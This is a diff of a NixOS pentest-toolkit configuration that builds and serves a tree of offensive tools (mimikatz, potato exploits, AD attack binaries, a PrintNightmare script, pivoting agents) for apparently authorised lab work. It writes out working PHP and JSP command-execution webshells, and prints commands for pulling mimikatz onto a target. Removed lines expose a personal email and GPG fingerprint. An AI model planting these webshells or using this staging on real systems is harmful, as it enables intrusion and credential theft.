+
+ # One asset -> the shell that stages it at its dest.
+ exeLike = d: lib.any (s: lib.hasSuffix s d) [ ".exe" ".ps1" ".dll" ".json" ".config" ".txt" ];
+ installAsset = a:
+ let
+ src = pkgs.fetchurl { inherit (a) url hash; };
+ dst = "$out/${a.dest}";
+ kind = a.unpack or "file";
+ in
+ if kind == "file" then ''
+ install -D -m${if exeLike a.dest then "0644" else "0755"} ${src} ${dst}
+ ''
+ else if kind == "zip" then ''
+ mkdir -p ${dst}
+ ${if a ? only
+ # -j flattens the named members into dst (RunasCs.exe, a potato…).
+ then "${pkgs.unzip}/bin/unzip -j -o ${src} ${lib.escapeShellArgs a.only} -d ${dst} >/dev/null"
+ # No `only`: extract whole, keeping structure (SharpHound/, nmap-7.92/).
+ else "${pkgs.unzip}/bin/unzip -o ${src} -d ${dst} >/dev/null"}
+ ''
+ else if kind == "tar" then ''
+ mkdir -p ${dst}
+ tar -xzf ${src} -C ${dst}
+ ''
+ else throw "payloads: unknown unpack kind '${kind}' for ${a.dest}";
wantX86 = lib.elem "x86" windowsArches;
+ mimiVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name;
in
pkgs.runCommand "pentest-payloads"
{
meta.description = "Staged offensive payloads for authorised lab use";
- # Everything here is meant to run on another machine; a rewritten
- # shebang pointing into this machine's store would break it there.
+ # Everything here runs on another machine; a rewritten shebang pointing
+ # into this machine's store would break it there.
dontPatchShebangs = true;
}
''
set -euo pipefail
+ mkdir -p $out
- # pick <dest-file> <search-root> <glob>...
- # Copies the first match, and FAILS the build when nothing matches, so
- # an upstream rename is a loud error rather than a missing payload you
- # discover on a box at 2am.
- pick() {
- local dest="$1" root="$2"; shift 2
- local pat f
- for pat in "$@"; do
- f=$(find -L "$root" -type f -name "$pat" 2>/dev/null | head -1)
- if [ -n "$f" ]; then
- install -D -m0644 "$f" "$dest"
- return 0
- fi
- done
- echo "payloads: no match for [$*] under $root" >&2
- exit 1
- }
+ ##### Release assets (the _pkgs/assets.nix table) ######################
+ ${lib.concatMapStrings installAsset assets}
- mkdir -p $out/windows/amd64/{creds,agents,privesc/potato,ad} \
- $out/linux/{amd64,arm64}/{agents,privesc} \
- $out/macos/arm64/agents \
- $out/scripts/{ad,printer,privesc}
- ${lib.optionalString wantX86 "mkdir -p $out/windows/x86/{creds,agents,privesc}"}
+ ##### Go, cross-compiled from source ###################################
+ ${lib.concatStrings (lib.mapAttrsToList installGo goTargets)}
+ # ligolo/chisel/socat convenience: a top-level README of which slot is which.
+ printf '%s\n' \
+ 'ligolo-ng/chisel/fscan/socat: one dir per target, named <os>-<arch>.' \
+ 'linux-amd64 is the usual HTB Linux box; windows-amd64 the usual Windows one.' \
+ > $out/pivoting/README.txt
- ##### Windows x64 #####################################################
- # Explicit paths, not a glob: a `find … | head -1` here would match
- # Win32/mimikatz.exe first (alphabetically) and quietly stage the
- # 32-bit build in the amd64 slot.
- install -m0644 ${mimikatzNew}/share/windows/mimikatz/x64/mimikatz.exe \
- $out/windows/amd64/creds/mimikatz-${mimikatzNewVer}.exe
- ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/amd64/creds/mimikatz.exe
+ ##### Credentials #####################################################
+ # mimikatz, every build and arch, as distinct FILES (two versions
+ # cannot both be mimikatz.exe — which is why payloads are files).
+ mkdir -p $out/creds/mimikatz/x64 $out/creds/mimikatz/Win32
+ install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/x64/mimikatz.exe \
+ $out/creds/mimikatz/x64/mimikatz-${mimiVer}.exe
+ ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/x64/mimikatz.exe
install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \
- $out/windows/amd64/creds/mimikatz-2.2.0-20210810.exe
- install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \
- $out/windows/amd64/creds/ 2>/dev/null || true
- pick $out/windows/amd64/agents/ligolo-agent.exe ${winLigolo} 'ligolo-agent.exe' 'agent.exe'
- pick $out/windows/amd64/agents/chisel.exe ${winChisel} 'chisel.exe'
- install -m0644 ${p.peass}/windows/winPEASx64.exe $out/windows/amd64/privesc/
- install -m0644 ${p.peass}/windows/winPEASany.exe $out/windows/amd64/privesc/
+ $out/creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe
+ install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimikatz.exe \
+ $out/creds/mimikatz/Win32/mimikatz-${mimiVer}.exe
+ ln -s mimikatz-${mimiVer}.exe $out/creds/mimikatz/Win32/mimikatz.exe
+ install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \
+ $out/creds/mimikatz/Win32/mimikatz-2.2.0-20210810.exe
+ install -m0644 ${pkgs.mimikatz}/share/windows/mimikatz/Win32/mimilove.exe \
+ $out/creds/mimikatz/ 2>/dev/null || true
- # The potato family. Which one works depends on the Windows build, so
- # they all ship; GodPotato-NET* pick themselves by .NET version.
- for f in ${p.potatoes}/*.exe; do
- install -m0644 "$f" $out/windows/amd64/privesc/potato/
- done
+ ##### Windows privesc: winPEAS beside the potatoes/ from assets ########
+ mkdir -p $out/privesc/windows
+ install -m0644 ${p.peass}/windows/winPEASx64.exe $out/privesc/windows/
+ install -m0644 ${p.peass}/windows/winPEASany.exe $out/privesc/windows/
+ ${lib.optionalString wantX86
+ "install -m0644 ${p.peass}/windows/winPEASx86.exe $out/privesc/windows/"}
- # The compiled C# arsenal, newest framework, 64-bit: Rubeus, SharpHound,
- # Seatbelt, Certify, Whisker, SharpUp, SharpView, StandIn, SweetPotato,
- # SharpPrinter, DeployPrinterNightmare…
- cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/windows/amd64/ad/
- chmod -R u+w $out/windows/amd64/ad
+ ##### AD: SharpCollection 4.7 x64 beside the CE tools from assets ######
+ mkdir -p $out/ad
+ cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/ad/
+ chmod -R u+w $out/ad
+ # SharpCollection's SharpHound is the LEGACY collector; the assets table
+ # staged the CE one at ad/SharpHound/. Drop the legacy exe so there is
+ # no ambiguous ad/SharpHound.exe next to the CE ad/SharpHound/ dir.
+ rm -f $out/ad/SharpHound.exe
- # Every framework/arch, for when 4.7 x64 will not run on the target.
+ # The whole SharpCollection, every framework, for when 4.7 x64 will not run.
mkdir -p $out/sharpcollection
cp -r ${p.sharpcollection}/. $out/sharpcollection/
chmod -R u+w $out/sharpcollection
- ${lib.optionalString wantX86 ''
- ##### Windows x86 ###################################################
- install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimikatz.exe \
- $out/windows/x86/creds/mimikatz-${mimikatzNewVer}.exe
- ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/x86/creds/mimikatz.exe
- install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \
- $out/windows/x86/creds/mimikatz-2.2.0-20210810.exe
- install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \
- $out/windows/x86/creds/
- install -m0644 ${p.peass}/windows/winPEASx86.exe $out/windows/x86/privesc/
- install -m0644 ${p.potatoes}/PrintSpoofer32.exe $out/windows/x86/privesc/
- install -m0644 ${p.potatoes}/GodPotato-NET2.exe $out/windows/x86/privesc/
- cp -r ${p.sharpcollection}/NetFramework_4.7_x86/. $out/windows/x86/
- chmod -R u+w $out/windows/x86
- ''}
-
- ##### Linux ###########################################################
- pick $out/linux/amd64/agents/ligolo-agent ${linLigolo} 'ligolo-agent' 'agent'
- pick $out/linux/amd64/agents/chisel ${linChisel} 'chisel'
- pick $out/linux/arm64/agents/ligolo-agent ${armLigolo} 'ligolo-agent' 'agent'
- pick $out/linux/arm64/agents/chisel ${armChisel} 'chisel'
- install -m0755 ${p.peass}/linux/linpeas.sh $out/linux/amd64/privesc/
- install -m0755 ${p.lse}/share/lse/lse.sh $out/linux/amd64/privesc/
- pick $out/linux/amd64/privesc/pspy ${linPspy} 'pspy' 'pspy64'
- chmod +x $out/linux/amd64/privesc/pspy
-
- ##### macOS ###########################################################
- pick $out/macos/arm64/agents/ligolo-agent ${macLigolo} 'ligolo-agent' 'agent'
- pick $out/macos/arm64/agents/chisel ${macChisel} 'chisel'
+ ##### Linux privesc ####################################################
+ mkdir -p $out/privesc/linux
+ install -m0755 ${p.peass}/linux/linpeas.sh $out/privesc/linux/
+ install -m0755 ${p.lse}/share/lse/lse.sh $out/privesc/linux/
- ##### Scripts #########################################################
- # PowerSploit installs to share/windows/powersploit — the previous
- # `cp … 2>/dev/null || cp …` hid that and buried everything under
- # scripts/ad/share, so the PowerView.ps1 the cheat card promises did
- # not exist. Explicit path, and the two headline scripts hoisted to the
- # top where they are documented.
+ ##### Scripts ##########################################################
+ mkdir -p $out/scripts/{ad,printer,privesc}
cp -r ${pkgs.powersploit}/share/windows/powersploit/. $out/scripts/ad/
chmod -R u+w $out/scripts/ad
- pick $out/scripts/ad/PowerView.ps1 ${pkgs.powersploit} 'PowerView.ps1'
- pick $out/scripts/ad/PowerUp.ps1 ${pkgs.powersploit} 'PowerUp.ps1'
+ # PowerView.ps1 and PowerUp.ps1 live in Recon/ and Privesc/; hoist the
+ # two headline scripts to the top where the cheat card documents them,
+ # and FAIL if an upstream rename moved them.
+ for s in PowerView PowerUp; do
+ f=$(find -L $out/scripts/ad -type f -name "$s.ps1" | head -1)
+ [ -n "$f" ] || { echo "payloads: $s.ps1 missing from powersploit" >&2; exit 1; }
+ cp "$f" $out/scripts/ad/"$s.ps1"
+ done
cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang
chmod -R u+w $out/scripts/ad/nishang
-
- # Printer-bug family. printerbug.py coerces auth over MS-RPRN; the
- # SpoolSample.exe equivalent is SharpPrinter.exe in windows/amd64/ad.
install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/
install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/
-
install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/
install -m0755 ${p.lse}/share/lse/lse.sh $out/scripts/privesc/
install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/
- # A map of the tree, so `payload-serve --list` is readable and a
- # directory listing on the target side makes sense.
+ ##### Webshells and an exploits landing dir ############################
+ mkdir -p $out/webshells $out/exploits
+ # A couple of always-useful single-file shells; drop your own in
+ # ~/pentesting/local, which is never overwritten.
+ cat > $out/webshells/cmd.php <<'PHP'
+<?php if(isset($_REQUEST['c'])){system($_REQUEST['c']." 2>&1");} ?>
+PHP
+ cat > $out/webshells/cmd.jsp <<'JSP'
+<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("c")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("c"));BufferedReader d=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=d.readLine())!=null){out.println(l);} } %>
+JSP
+ printf 'Stage public exploits here; searchsploit -m copies into the cwd.\n' > $out/exploits/README.txt
+
+ # A map of the tree, so `payload-serve --list` is readable.
${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true
'';
+
mkServe =
{ pkgs, tree }:
pkgs.writeShellScriptBin "payload-serve" ''
@@ -197,9 +231,9 @@ let
PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH
TREE=${tree}
- # Review Focus #2: bind to the tunnel, never to everything. Serving the
- # payload tree on a café network because the VPN was down is a real way
- # to hand your toolkit to strangers, so this fails closed.
+ # Bind to the tunnel, never to everything. Serving the arsenal on a
+ # café network because the VPN was down is a real way to hand your
+ # toolkit to strangers, so this fails closed.
tun_addr() {
local i a
for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do
@@ -227,12 +261,10 @@ let
case "''${1:-}" in
--smb)
echo "payload-serve: SMB share 'share' on $addr ($TREE)"
- echo " target: copy \\\\$addr\\share\\windows\\amd64\\creds\\mimikatz.exe ."
+ echo " target: copy \\\\$addr\\share\\creds\\mimikatz\\x64\\mimikatz.exe ."
exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \
-ip "$addr" -smb2support share "$TREE" ;;
""|[0-9]*)
- # 8000, not 80: ip_unprivileged_port_start is 1024, so port 80 dies
- # with a PermissionError traceback AFTER printing a cheerful URL.
port="''${1:-8000}"
if [ "$port" -lt 1024 ] && [ "$(id -u)" != 0 ]; then
echo "payload-serve: port $port needs root (ports below 1024)." >&2
@@ -240,7 +272,7 @@ let
exit 2
fi
echo "payload-serve: http://$addr:$port/ ($TREE)"
- echo " target: certutil -urlcache -f http://$addr:$port/windows/amd64/creds/mimikatz.exe mimikatz.exe"
+ echo " target: certutil -urlcache -f http://$addr:$port/creds/mimikatz/x64/mimikatz.exe mimikatz.exe"
exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;;
*) usage >&2; exit 2 ;;
esac
@@ -252,23 +284,36 @@ in
let
cfg = config.daemon.pentest;
on = cfg.enable && cfg.payloads.enable;
- tree = mkTree {
- inherit pkgs;
- windowsArches = cfg.payloads.windowsArches;
- };
+ tree = mkTree { inherit pkgs; windowsArches = cfg.payloads.windowsArches; };
payload-serve = mkServe { inherit pkgs tree; };
-
in
{
- # Declared here rather than by mkCategory, so it has to follow the
- # master switch by hand — same reason as _sets.nix.
- options.daemon.pentest.payloads.enable =
- lib.mkEnableOption "the staged payload tree and payload-serve" // {
+ options.daemon.pentest.payloads = {
+ enable = lib.mkEnableOption "the staged payload tree and payload-serve" // {
default = cfg.enable;
};
+ # Read by paths.nix to link the tree into ~/pentesting. Internal: it is
+ # the derivation above, not something to set by hand.
+ tree = lib.mkOption {
+ type = lib.types.package;
+ internal = true;
+ readOnly = true;
+ default = tree;
+ description = "The built arsenal tree (paths.nix links it into ~/pentesting).";
+ };
+ wordlistsTree = lib.mkOption {
+ type = lib.types.path;
+ internal = true;
+ default = "${pkgs.wordlists}/share/wordlists";
+ description = "The wordlists tree linked at ~/pentesting/wordlists.";
+ };
+ };
config = lib.mkIf on {
environment.systemPackages = [ payload-serve ];
+ # $PAYLOADS stays, pointing at the arsenal root under ~/pentesting
+ # (paths.nix sets the per-category variables); keep it as the store
+ # tree here so a shell that predates the ~/pentesting links still works.
environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}";
};
};
@@ -278,12 +323,7 @@ in
{
checks.pentest-payloads =
let
- tree = mkTree {
- inherit pkgs;
- windowsArches = [ "amd64" "x86" ];
- };
- # The same script the system installs, from the same helper, so the
- # fail-closed behaviour under test is the real one.
+ tree = mkTree { inherit pkgs; windowsArches = [ "amd64" "x86" ]; };
serve = [ (mkServe { inherit pkgs tree; }) ];
in
pkgs.runCommand "pentest-payloads-check"
@@ -292,86 +332,101 @@ in
set -euo pipefail
T=${tree}
- # 1. Structure: every path the cheat card promises exists.
+ # 1. Structure: every path the cheat card and paths.nix promise.
for f in \
- windows/amd64/creds/mimikatz.exe \
- windows/amd64/creds/mimikatz-2.2.0-20210810.exe \
- windows/amd64/agents/ligolo-agent.exe \
- windows/amd64/agents/chisel.exe \
- windows/amd64/privesc/winPEASx64.exe \
- windows/amd64/privesc/potato/JuicyPotato.exe \
- windows/amd64/privesc/potato/GodPotato-NET4.exe \
- windows/amd64/privesc/potato/PrintSpoofer64.exe \
- windows/amd64/ad/Rubeus.exe \
- windows/amd64/ad/SharpHound.exe \
- windows/amd64/ad/Seatbelt.exe \
- windows/amd64/ad/Certify.exe \
- windows/amd64/ad/SweetPotato.exe \
- windows/amd64/ad/SharpPrinter.exe \
- windows/x86/creds/mimikatz.exe \
- linux/amd64/agents/ligolo-agent \
- linux/amd64/agents/chisel \
- linux/amd64/privesc/linpeas.sh \
- linux/amd64/privesc/pspy \
- linux/arm64/agents/ligolo-agent \
- macos/arm64/agents/ligolo-agent \
+ creds/mimikatz/x64/mimikatz.exe \
+ creds/mimikatz/x64/mimikatz-2.2.0-20210810.exe \
+ creds/mimikatz/Win32/mimikatz.exe \
+ creds/nanodump.x64.exe \
+ creds/PPLBlade.exe \
+ privesc/windows/winPEASx64.exe \
+ privesc/windows/FullPowers.exe \
+ privesc/windows/PrivescCheck.ps1 \
+ privesc/windows/potatoes/GodPotato-NET4.exe \
+ privesc/windows/potatoes/SigmaPotato.exe \
+ privesc/windows/potatoes/PrintSpoofer64.exe \
+ privesc/windows/potatoes/JuicyPotato.exe \
+ privesc/windows/potatoes/RoguePotato.exe \
+ privesc/windows/potatoes/LocalPotato.exe \
+ privesc/windows/potatoes/CoercedPotato_x64.exe \
+ privesc/linux/linpeas.sh \
+ privesc/linux/lse.sh \
+ privesc/linux/linux-amd64/pspy \
+ ad/Rubeus.exe \
+ ad/Seatbelt.exe \
+ ad/SharpHound/SharpHound.exe \
+ ad/Certipy.exe \
+ ad/bloodyAD.exe \
+ ad/rusthound-ce.exe \
+ ad/SharpSCCM.exe \
+ ad/Inveigh.exe \
+ ad/KrbRelayEx/KrbRelayEx.exe \
+ ad/KrbRelayEx/KrbRelayEx.dll \
+ ad/kerbrute/kerbrute-linux-amd64 \
+ ad/kerbrute/kerbrute-windows-amd64.exe \
+ pivoting/ligolo-ng/linux-amd64/ligolo-agent \
+ pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe \
+ pivoting/ligolo-ng/linux-arm64/ligolo-agent \
+ pivoting/ligolo-ng/darwin-arm64/ligolo-agent \
+ pivoting/chisel/linux-amd64/chisel \
+ pivoting/chisel/windows-amd64/chisel.exe \
+ pivoting/socat/socat-linux-amd64 \
+ pivoting/socat/socat-linux-arm64 \
+ pivoting/plink-x64.exe \
+ recon/fscan/linux-amd64/fscan \
+ recon/fscan/windows-amd64/fscan.exe \
+ recon/nmap/linux-amd64/nmap \
+ recon/nmap/windows/nmap-7.92/nmap.exe \
+ shells/RunasCs.exe \
+ shells/nc64.exe \
+ scripts/ad/PowerView.ps1 \
+ scripts/ad/PowerUp.ps1 \
+ scripts/ad/nishang \
scripts/printer/printerbug.py \
scripts/printer/CVE-2021-1675.py \
scripts/privesc/EfsPotato.cs \
- scripts/ad/nishang \
- scripts/ad/PowerView.ps1 \
- scripts/ad/PowerUp.ps1 \
- INVENTORY.txt
- do
+ webshells/cmd.php \
+ INVENTORY.txt \
+ ; do
[ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; }
done
- # 2. The binaries are really for the architecture they claim.
- expect() { # expect <file> <substring of `file` output>
- local got; got=$(file -bL "$T/$1")
- case "$got" in
- *"$2"*) ;;
- *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;;
- esac
- }
- # These run on SOMEONE ELSE'S machine, so they must not depend on
- # this one: no /nix/store interpreter, no /nix/store shebang.
- # Before this assertion existed, chisel and pspy were dynamically
- # linked against the store's glibc and lse.sh's shebang had been
- # rewritten by patchShebangs — all three died on a target with
- # "No such file or directory".
- for f in linux/amd64/agents/chisel linux/amd64/agents/ligolo-agent \
- linux/amd64/privesc/pspy linux/arm64/agents/chisel \
- linux/arm64/agents/ligolo-agent; do
+ # The legacy SharpHound.exe must NOT sit beside the CE dir.
+ [ ! -e "$T/ad/SharpHound.exe" ] || { echo "payloads: stale legacy ad/SharpHound.exe present" >&2; exit 1; }
+
+ # 2. The binaries are really for the architecture they claim, and
+ # the linux ones are static (they run on someone else's box).
+ for f in pivoting/chisel/linux-amd64/chisel \
+ pivoting/ligolo-ng/linux-amd64/ligolo-agent \
+ recon/fscan/linux-amd64/fscan \
+ privesc/linux/linux-amd64/pspy \
+ pivoting/socat/socat-linux-amd64; do
got=$(file -bL "$T/$f")
case "$got" in
*"statically linked"*|*"static-pie linked"*) ;;
- *) echo "payloads: $f is '$got' — it must be statically linked" >&2; exit 1 ;;
+ *) echo "payloads: $f is '$got' — must be statically linked" >&2; exit 1 ;;
esac
done
- for f in linux/amd64/privesc/linpeas.sh linux/amd64/privesc/lse.sh \
- scripts/privesc/linpeas.sh scripts/privesc/lse.sh \
+ for f in privesc/linux/linpeas.sh privesc/linux/lse.sh \
scripts/printer/printerbug.py; do
- sb=$(head -1 "$T/$f")
- case "$sb" in
- */nix/store/*) echo "payloads: $f has a store shebang ($sb)" >&2; exit 1 ;;
+ case "$(head -1 "$T/$f")" in
+ */nix/store/*) echo "payloads: $f has a store shebang" >&2; exit 1 ;;
esac
done
- expect windows/amd64/creds/mimikatz.exe 'PE32+'
- expect windows/amd64/agents/ligolo-agent.exe 'PE32+'
- expect windows/amd64/agents/chisel.exe 'PE32+'
- expect windows/x86/creds/mimikatz.exe 'PE32 '
- expect linux/amd64/agents/ligolo-agent 'ELF 64-bit'
- expect linux/arm64/agents/ligolo-agent 'ARM aarch64'
+ expect() { local got; got=$(file -bL "$T/$1"); case "$got" in
+ *"$2"*) ;; *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; esac; }
+ expect creds/mimikatz/x64/mimikatz.exe 'PE32+'
+ expect creds/mimikatz/Win32/mimikatz.exe 'PE32 '
+ expect pivoting/ligolo-ng/windows-amd64/ligolo-agent.exe 'PE32+'
+ expect pivoting/ligolo-ng/linux-arm64/ligolo-agent 'ARM aarch64'
+ expect recon/fscan/windows-amd64/fscan.exe 'PE32+'
+ expect recon/nmap/linux-amd64/nmap 'ELF'
- # 3. Review Focus #2: with no tun device (there is none in this
- # sandbox) payload-serve must refuse, and say how to fix it.
- # NB: not a variable called `out` — that is the derivation's own
- # output path, and clobbering it makes the final redirect ambiguous.
+ # 3. With no tun device (there is none in this sandbox) payload-serve
+ # must refuse, and say how to fix it.
if serve_out=$(payload-serve 8000 2>&1); then
- echo "payloads: payload-serve started with no VPN up — it must not" >&2
- exit 1
+ echo "payloads: payload-serve started with no VPN up" >&2; exit 1
fi
printf '%s' "$serve_out" | grep -q 'refusing to start' \
|| { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; }
diff --git a/modules/features/pentest/recon.nix b/modules/features/pentest/recon.nix
@@ -9,6 +9,9 @@
nbtscan enum4linux-ng snmpcheck onesixtyone thc-ipv6
dnsrecon subfinder amass dnsx
httpx katana gowitness eyewitness whatweb
+ net-snmp # snmpwalk, snmpget: onesixtyone finds the community, this reads it
+ sslscan testssl # `testssl.sh`
+ arp-scan netdiscover # layer 2, once you are inside a subnet
];
expectedBins = [
@@ -16,5 +19,6 @@
"nbtscan" "enum4linux-ng" "snmp-check" "onesixtyone"
"dnsrecon" "subfinder" "amass" "dnsx"
"httpx" "katana" "gowitness" "whatweb"
+ "snmpwalk" "snmpget" "sslscan" "testssl.sh" "arp-scan" "netdiscover"
];
}
diff --git a/modules/features/pentest/reversing.nix b/modules/features/pentest/reversing.nix
@@ -24,10 +24,13 @@
flare-floss # `floss`
patchelf
binutils
+ ropgadget # `ROPgadget`
+ strace ltrace
];
expectedBins = [
"r2" "rizin" "gef" "gdb" "asm" "disasm" "cyclic" "checksec"
"one_gadget" "pwninit" "floss" "patchelf" "objdump" "readelf"
+ "ROPgadget" "strace" "ltrace"
];
}
diff --git a/modules/features/pentest/update.nix b/modules/features/pentest/update.nix
@@ -1,5 +1,5 @@
-# modules/features/pentest/update.nix — `pentest-update`: move the pins in
-# _pkgs/default.nix forward, deliberately.
+# modules/features/pentest/update.nix — `pentest-update`: move the pins in both _pkgs files (default.nix + assets.nix)
+# forward, deliberately.
#
# pentest-update report what is newer upstream (changes nothing)
# pentest-update --apply rewrite the revs and hashes in place
@@ -16,12 +16,17 @@
on = config.daemon.pentest.enable;
script = pkgs.writeText "pentest-update.py" ''
- """Re-pin modules/features/pentest/_pkgs/default.nix."""
+ """Re-pin a pentest pin file (_pkgs/default.nix or _pkgs/assets.nix)."""
import json, os, re, subprocess, sys, urllib.error, urllib.request
APPLY = "--apply" in sys.argv
ROOT = os.environ.get("NIXDAEMON", os.path.expanduser("~/NixDaemon"))
- PKGS = os.path.join(ROOT, "modules/features/pentest/_pkgs/default.nix")
+ # The file to re-pin, chosen by the wrapper so one script serves both
+ # _pkgs/default.nix (derivations) and _pkgs/assets.nix (the release
+ # table). Both use the same `url =`/`hash =` and fetchFromGitHub shapes.
+ PKGS = os.environ.get("PENTEST_PKGS_FILE",
+ os.path.join(ROOT, "modules/features/pentest/_pkgs/default.nix"))
+ print("── " + os.path.relpath(PKGS, ROOT))
def api(path):
req = urllib.request.Request(
@@ -176,7 +181,16 @@
pentest-update = pkgs.writeShellScriptBin "pentest-update" ''
set -uo pipefail
PATH=${lib.makeBinPath [ pkgs.nix pkgs.nix-prefetch-scripts pkgs.coreutils ]}:$PATH
- exec ${pkgs.python3}/bin/python3 ${script} "$@"
+ ROOT="''${NIXDAEMON:-$HOME/NixDaemon}"
+ rc=0
+ # Both pin files, one script. assets.nix is the big release table;
+ # default.nix is the derivations (SharpCollection, mimikatz, scripts).
+ for f in \
+ "$ROOT/modules/features/pentest/_pkgs/default.nix" \
+ "$ROOT/modules/features/pentest/_pkgs/assets.nix"; do
+ PENTEST_PKGS_FILE="$f" ${pkgs.python3}/bin/python3 ${script} "$@" || rc=$?
+ done
+ exit $rc
'';
in
{
diff --git a/modules/features/pentest/web.nix b/modules/features/pentest/web.nix
@@ -17,6 +17,10 @@
jwt-cli # `jwt`
jwt-hack
mitmproxy
+ wafw00f # is there a WAF in front, and whose
+ ghauri # sqli where sqlmap's payloads get filtered
+ hakrawler
+ interactsh # `interactsh-client`: OOB callbacks for blind SSRF/XXE/RCE
];
expectedBins = [
@@ -24,6 +28,7 @@
"nikto" "sqlmap" "commix" "wfuzz"
"nuclei" "wpscan" "joomscan.pl" "dalfox" "arjun"
"jwt" "jwt-hack" "mitmproxy"
+ "wafw00f" "ghauri" "hakrawler" "interactsh-client"
];
# The variable name is asserted against the binary: setting one nuclei does
diff --git a/modules/home/caelestia.nix b/modules/home/caelestia.nix
@@ -13,7 +13,7 @@
{ ... }:
{
flake.homeModules.caelestia =
- { config, pkgs, lib, inputs, osConfig, ... }:
+ { config, pkgs, lib, inputs, osConfig, identity, ... }:
let
system = pkgs.stdenv.hostPlatform.system;
hyprPkg = inputs.hyprland.packages.${system}.hyprland;
@@ -215,7 +215,7 @@
gpuType = "Generic"; # must be a string
smartScheme = false; # never derive colours from the wallpaper
defaultPlayer = "rmpc";
- weatherLocation = "54.15,-4.48"; # Douglas, Isle of Man (dashboard weather card)
+ weatherLocation = identity.weather.coords; # dashboard weather card (modules/hosts/laptop/_identity.nix)
};
session = {
enabled = true;
diff --git a/modules/home/cheats/gpg.md b/modules/home/cheats/gpg.md
@@ -3,7 +3,7 @@
GnuPG **2.4.9** here. Pinentry is the GNOME dialog (NixOS `programs.gnupg.agent`), `GPG_TTY` is exported by core.zsh,
and **`gpgx`** (`gpgx-cheat`) is the no-flags wrapper for the daily lock/unlock/sign/verify. This card is the real thing underneath.
Terminal card: **`gpg-cheat`** — sections `model setup keygen subkeys backup import sign verify encrypt decrypt edit revoke ssh git keyservers trust inspect offline agent fix mine`.
-`FPR` below = a full 40-hex fingerprint. Yours (the main key): `3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4`.
+`FPR` below = a full 40-hex fingerprint (`gpg -K --with-colons | awk -F: '$1=="fpr"{print $10; exit}'`).
## model — one primary key, several subkeys
@@ -28,7 +28,7 @@ user ID "Name <mail>" = one per address; the primary one is what people s
keyid-format 0xlong
with-fingerprint
with-subkey-fingerprints
-default-key 3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4
+default-key FPR
default-recipient-self # `gpg -e file` encrypts to you when no -r given
personal-cipher-preferences AES256 AES192 AES
personal-digest-preferences SHA512 SHA384 SHA256
@@ -57,8 +57,8 @@ gpg --version # algorithms available
Certify-only primary, then three subkeys. Ed25519/Curve25519 throughout (fast, small, the 2.4 default).
```sh
-gpg --quick-generate-key 'DAEMON-SEC <zer0sec.xp@icloud.com>' ed25519 cert 2y # primary: [C] only, 2-year expiry
-FPR=$(gpg -K --with-colons 'zer0sec.xp@icloud.com' | awk -F: '$1=="fpr"{print $10; exit}')
+gpg --quick-generate-key 'Your Name <you@example.com>' ed25519 cert 2y # primary: [C] only, 2-year expiry
+FPR=$(gpg -K --with-colons 'you@example.com' | awk -F: '$1=="fpr"{print $10; exit}')
gpg --quick-add-key "$FPR" ed25519 sign 1y # [S]
gpg --quick-add-key "$FPR" cv25519 encr 1y # [E]
gpg --quick-add-key "$FPR" ed25519 auth 1y # [A] (for SSH)
@@ -86,13 +86,13 @@ Old encryption subkeys: **keep them** (revoked or expired, still in the ring) or
## backup — export, revocation, paper
```sh
-gpg --armor --export FPR > daemon-sec.pub.asc # public key: share freely
-gpg --armor --export-secret-keys FPR > daemon-sec.SECRET.asc # everything: primary + subkeys (passphrase-protected)
-gpg --armor --export-secret-subkeys FPR > daemon-sec.subkeys.asc # subkeys only (what a laptop should carry; see *offline*)
-cp ~/.gnupg/openpgp-revocs.d/FPR.rev daemon-sec.rev # the revocation certificate
+gpg --armor --export FPR > mykey.pub.asc # public key: share freely
+gpg --armor --export-secret-keys FPR > mykey.SECRET.asc # everything: primary + subkeys (passphrase-protected)
+gpg --armor --export-secret-subkeys FPR > mykey.subkeys.asc # subkeys only (what a laptop should carry; see *offline*)
+cp ~/.gnupg/openpgp-revocs.d/FPR.rev mykey.rev # the revocation certificate
gpg --export-ownertrust > ownertrust.txt # your trust assignments
-gpg --gen-revoke FPR > daemon-sec.rev # make a fresh revocation cert by hand
-nix shell nixpkgs#paperkey -c sh -c 'gpg --export-secret-keys FPR | paperkey > daemon-sec.paper.txt' # printable secret bits
+gpg --gen-revoke FPR > mykey.rev # make a fresh revocation cert by hand
+nix shell nixpkgs#paperkey -c sh -c 'gpg --export-secret-keys FPR | paperkey > mykey.paper.txt' # printable secret bits
```
